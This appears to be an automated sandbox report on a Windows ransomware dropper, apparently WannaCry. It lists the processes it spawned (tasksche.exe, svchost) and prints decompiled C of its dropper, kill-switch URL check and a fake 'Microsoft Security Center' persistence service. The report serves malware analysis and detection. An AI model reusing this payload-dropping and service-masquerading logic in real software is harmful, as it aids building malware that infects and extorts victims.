Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 5716, Parent PID: 7112

General

Target ID:	10
Start time:	15:43:17
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	86DA3236875CBBC62DD722ADA7F81D89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 60%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: tasksche.exePID: 1820, Parent PID: 7136

General

Target ID:	11
Start time:	15:43:19
Start date:	20/07/2022
Path:	C:\Windows\tasksche.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\tasksche.exe /i
Imagebase:	0x400000
File size:	2061938 bytes
MD5 hash:	86DA3236875CBBC62DD722ADA7F81D89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8124, Parent PID: 604

General

Target ID:	15
Start time:	15:43:48
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 8456, Parent PID: 604

General

Target ID:	16
Start time:	15:43:51
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 7548, Parent PID: 604

General

Target ID:	21
Start time:	15:44:36
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 11780, Parent PID: 604

General

Target ID:	22
Start time:	15:44:41
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: svchost.exePID: 6176, Parent PID: 604

General

Target ID:	24
Start time:	15:44:58
Start date:	20/07/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7e8070000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: mssecsvr.exePID: 7112, Parent PID: 7072COMMON

Execution Graph

Execution Coverage:	71.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	63.2%
Total number of Nodes:	38
Total number of Limit Nodes:	9

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00407CE0 Relevance: 50.9, APIs: 18, Strings: 11, Instructions: 175
libraryloaderfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00407CE0() {
				void _v259;
				char _v260;
				void _v519;
				char _v520;
				struct _STARTUPINFOA _v588;
				struct _PROCESS_INFORMATION _v604;
				long _v608;
				_Unknown_base(*)()* _t36;
				void* _t38;
				void* _t39;
				void* _t50;
				int _t59;
				struct HINSTANCE__* _t104;
				struct HRSRC__* _t105;
				void* _t107;
				void* _t108;
				long _t109;
				intOrPtr _t121;
				intOrPtr _t122;

				_t104 = GetModuleHandleW(L"kernel32.dll");
				if(_t104 != 0) {
					 *0x431478 = GetProcAddress(_t104, "CreateProcessA");
					 *0x431458 = GetProcAddress(_t104, "CreateFileA");
					 *0x431460 = GetProcAddress(_t104, "WriteFile");
					_t36 = GetProcAddress(_t104, "CloseHandle");
					 *0x43144c = _t36;
					if( *0x431478 != 0) {
						_t121 =  *0x431458; // 0x7705f7b0
						if(_t121 != 0) {
							_t122 =  *0x431460; // 0x7705fc30
							if(_t122 != 0 && _t36 != 0) {
								_t105 = FindResourceA(0, 0x727, "R");
								if(_t105 != 0) {
									_t38 = LoadResource(0, _t105);
									if(_t38 != 0) {
										_t39 = LockResource(_t38);
										_v608 = _t39;
										if(_t39 != 0) {
											_t109 = SizeofResource(0, _t105);
											if(_t109 != 0) {
												_v520 = 0;
												memset( &_v519, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												_v260 = 0;
												memset( &_v259, 0, 0x40 << 2);
												asm("stosw");
												asm("stosb");
												sprintf( &_v520, "C:\\%s\\%s", "WINDOWS", "tasksche.exe");
												sprintf( &_v260, "C:\\%s\\qeriuwjhrf", "WINDOWS");
												MoveFileExA( &_v520,  &_v260, 1); // executed
												_t50 = CreateFileA( &_v520, 0x40000000, 0, 0, 2, 4, 0); // executed
												_t107 = _t50;
												if(_t107 != 0xffffffff) {
													WriteFile(_t107, _v608, _t109,  &_v608, 0); // executed
													FindCloseChangeNotification(_t107); // executed
													_v604.hThread = 0;
													_v604.dwProcessId = 0;
													_v604.dwThreadId = 0;
													memset( &(_v588.lpReserved), 0, 0x10 << 2);
													asm("repne scasb");
													_v604.hProcess = 0;
													_t108 = " /i";
													asm("repne scasb");
													memcpy( &_v520 - 1, _t108, 0 << 2);
													memcpy(_t108 + 0x175b75a, _t108, 0);
													_v588.cb = 0x44;
													_v588.wShowWindow = 0;
													_v588.dwFlags = 0x81;
													_t59 = CreateProcessA(0,  &_v520, 0, 0, 0, 0x8000000, 0, 0,  &_v588,  &_v604); // executed
													if(_t59 != 0) {
														CloseHandle(_v604.hThread);
														CloseHandle(_v604);
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
				return 0;
			}

0x00407cf5
0x00407cfb
0x00407d15
0x00407d22
0x00407d2f
0x00407d34
0x00407d3c
0x00407d43
0x00407d49
0x00407d4f
0x00407d55
0x00407d5b
0x00407d7a
0x00407d7e
0x00407d86
0x00407d8e
0x00407d95
0x00407d9d
0x00407da1
0x00407daf
0x00407db3
0x00407dc4
0x00407dc8
0x00407dca
0x00407dcc
0x00407ddb
0x00407de2
0x00407def
0x00407df1
0x00407e01
0x00407e18
0x00407e2c
0x00407e43
0x00407e49
0x00407e4e
0x00407e61
0x00407e68
0x00407e72
0x00407e7a
0x00407e82
0x00407e8b
0x00407e95
0x00407e9b
0x00407e9f
0x00407ea8
0x00407eb0
0x00407ebc
0x00407ed3
0x00407edb
0x00407ee0
0x00407ee8
0x00407ef0
0x00407ef7
0x00407f02
0x00407f02
0x00407ef0
0x00407e4e
0x00407db3
0x00407da1
0x00407d8e
0x00407d7e
0x00407d5b
0x00407d4f
0x00407d43
0x00407f14

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,00000000,6F75FB10,?,00000000), ref: 00407CEF
GetProcAddress.KERNEL32(00000000,CreateProcessA), ref: 00407D0D
GetProcAddress.KERNEL32(00000000,CreateFileA), ref: 00407D1A
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00407D27
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00407D34
FindResourceA.KERNEL32(00000000,00000727,0043137C), ref: 00407D74
LoadResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407D86
LockResource.KERNEL32(00000000,?,00000000), ref: 00407D95
SizeofResource.KERNEL32(00000000,00000000,?,00000000), ref: 00407DA9
sprintf.MSVCRT ref: 00407E01
sprintf.MSVCRT ref: 00407E18
MoveFileExA.KERNEL32 ref: 00407E2C
CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000004,00000000), ref: 00407E43
WriteFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 00407E61
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00407E68
CreateProcessA.KERNELBASE ref: 00407EE8
CloseHandle.KERNEL32(00000000), ref: 00407EF7
CloseHandle.KERNEL32(08000000), ref: 00407F02

Strings

/i, xrefs: 00407E8D
CreateFileA, xrefs: 00407D0F
CloseHandle, xrefs: 00407D29
C:\%s\qeriuwjhrf, xrefs: 00407E12
D, xrefs: 00407ED3
kernel32.dll, xrefs: 00407CEA
C:\%s\%s, xrefs: 00407DFB
WriteFile, xrefs: 00407D1C
WINDOWS, xrefs: 00407DF2, 00407E0D
tasksche.exe, xrefs: 00407DEA
CreateProcessA, xrefs: 00407D07

Memory Dump Source

Source File: 00000004.00000002.391782273.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391774041.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391845750.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391858314.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392538046.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392718713.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: AddressProcResource$CloseFileHandle$CreateFindsprintf$ChangeLoadLockModuleMoveNotificationProcessSizeofWrite
String ID: /i$C:\%s\%s$C:\%s\qeriuwjhrf$CloseHandle$CreateFileA$CreateProcessA$D$WINDOWS$WriteFile$kernel32.dll$tasksche.exe
API String ID: 1541710770-1507730452
Opcode ID: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction ID: 13a48b3e7e70fc1f7524b3ea2ca00aec236584d0bbebcf852995d03268f4a9c8
Opcode Fuzzy Hash: fb819ea0bbfac7cba45177718834bfaea6ecb5a57a4692884010a03d6946efb9
Instruction Fuzzy Hash: B15197715043496FE7109F74DC84AAB7B98EB88354F14493EF651A32E0DA7898088BAA

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000004.00000002.391782273.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391774041.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391845750.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391858314.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392538046.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392718713.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				_push(_t27);
				InternetCloseHandle();
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x0040819c
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000004.00000002.391782273.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391774041.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391845750.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391858314.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392538046.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392718713.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction ID: 3b8a91e0baa4f3639afdb349cfc438007093f0a6557163af6b5eb03d237fc32a
Opcode Fuzzy Hash: 0bbc0dabe610ff42f1f9ad6e85cc21407dd9b1b68127969cd029bea3a518856a
Instruction Fuzzy Hash: B3018671548310AEE310DF748D01B6B7BE9EF85710F01082EF984F72C0EAB59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F75FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

mssecsvc2.1, xrefs: 00407C95
%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90

Memory Dump Source

Source File: 00000004.00000002.391782273.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391774041.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391845750.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391858314.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392538046.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392718713.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000004.00000002.391782273.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.391774041.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391845750.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.391858314.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392538046.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.392718713.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 6420, Parent PID: 604COMMON

Execution Graph

Execution Coverage:	36.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	36
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000008.00000002.987141717.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.987110046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987185845.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987195265.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987209682.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987331168.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987347765.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.987402559.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
